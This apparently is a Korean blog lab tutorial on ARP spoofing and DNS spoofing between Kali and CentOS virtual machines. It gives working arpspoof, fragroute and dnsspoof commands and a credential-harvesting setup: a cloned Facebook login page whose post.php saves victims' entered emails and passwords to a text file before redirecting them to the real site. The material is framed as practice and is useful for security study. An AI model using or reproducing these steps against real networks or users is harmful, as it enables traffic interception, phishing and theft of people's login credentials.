Spoofing

  Kali와 CentOS에서 ARP Spoofing과 DNS Spoofing을 실습해보자.

IP Spoofing

  IP Spoofing이란 자신의 ip를 변조해 자신이 만든 패킷을 다른 컴퓨터가 만든 패킷처럼 만드는 것이다.

Fragroute

  포트 포워딩을 해주는 도구.   ARP Spoofing을 하게 되면 자신에게 패킷이 오게 되는데, 이후 다시 피해자가 지정한 곳에 피해자의 패킷을 보내주기 위해 사용한다. 만약 이를 사용하지 않으면 피해자의 패킷이 나에게만 오고 전달되야할 곳에 전달이 안되서 피해자가 정상적인 네트워크를 사용하지 못한다.

fragroute -B1

ARP Spoofing

arp -a : 현재 MAC 테이블 확인

route -n : 게이트웨이 주소 확인

arpspoof -i [인터페이스 이름] [target ip] [gateway ip]

  와이어샤크를 이용해 패킷을 확인해 보면 target에서 내 ip를 통해 패킷을 보내고 내 PC에서 게이트웨이에 다시 패킷을 보내 도청하고 있는 것을 알 수 있다. 여기서 응용해 DNS Spoofing을 해보자.

DNS Spoofing

  공격자의 apache2를 실행해주고 피해자가 지정된 domain에 접근시 공격자의 html로 접근해 피해자가 입력하는 정보를 탈취하는 방법을 실습해보자.

  facebook.html을 다운 받고 이를 /etc/www/html에 삽입해주자. 파일명은 index.html로 만들어주자. index.html에서 method 옆 action 기존 내용을 지우고 php파일을 삽입해주자.

action="post.php" method=POST

  action에 지정된 post.php 파일을 생성해 주자.

<?php
$file="post.txt";
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
?>
<meta http-equiv="refresh" content="0; url=http://www.facebook.com">

  이 php는 post.txt에 피해자가 입력한 정보를 입력해주고 피해자를 다시 원래의 facebook으로 접속하게 해준다. 이제 dnsspoof를 이용하기 위해 host.txt 파일을 생성해 주자. dnsspoof의 경우 파일을 통해 호스트와 url을 지정해 줄 수 있다.

[피해자 ip] *.facebook.com

  그리고 이제 이 파일을 이용해서 dnsspoof 명령어를 실행해주자.

dnsspoof -i [인터페이스 이름] -f /경로/hosts.host

  이제 피해자 PC에서 nscd를 이용해 dns를 초기화해줘야 한다.

systemctl restart nscd

  이 후에 피해자 컴퓨터에서 페이스북에 접근을 시도하면, 아까 지정해준 공격자의 index.html에 접근하게 되고 피해자가 e-mail과 비밀번호를 입력할 시 아까 생성한 post.txt에 입력된다.

  이 방법이 성공하지 않을 수 있다. 이러한 공격을 막기 위해 웹 브라우저에서 자체적으로 보통 차단하기 때문에 성공하지 않을 수 있다. 만약에 이를 해결하는 경우 댓글로 알려주시면 감사하겠습니다. firefox의 경우 자동적으로 https로 변환해 실행을 해주기 때문에 이를 해결해주면 된다고 합니다.

네트워크 인터페이스가 다를 경우

  VMware를 사용해 실습할 경우 각 OS의 네트워크 인터페이스가 다를 수가 있다. kali는 eth0인데 서버는 ens33이라던지. 이 경우 /etc/default/grub 파일을 수정해 주면 된다.(centOS 기준) GRUB_CMDLINE_LINUX 부분에 /swap 이 부분 뒤 [net.ifnames=0] rhgb quite 이렇게 수정해주도록 하자.

grub2-mkconfig -o /boot/grub2grub.cfg  

cd /etc/sysconfig/network-scripts  

mv ifcfg-ens33 ifcfg-eth0  

vi ifcfg-eth0  

  생성된 ifcfg에서 name과 device 태그를 eth0로 변경해주자. 재부팅 후 네트워크를 확인하면 이름이 변경된 것을 알 수 있다.

댓글남기기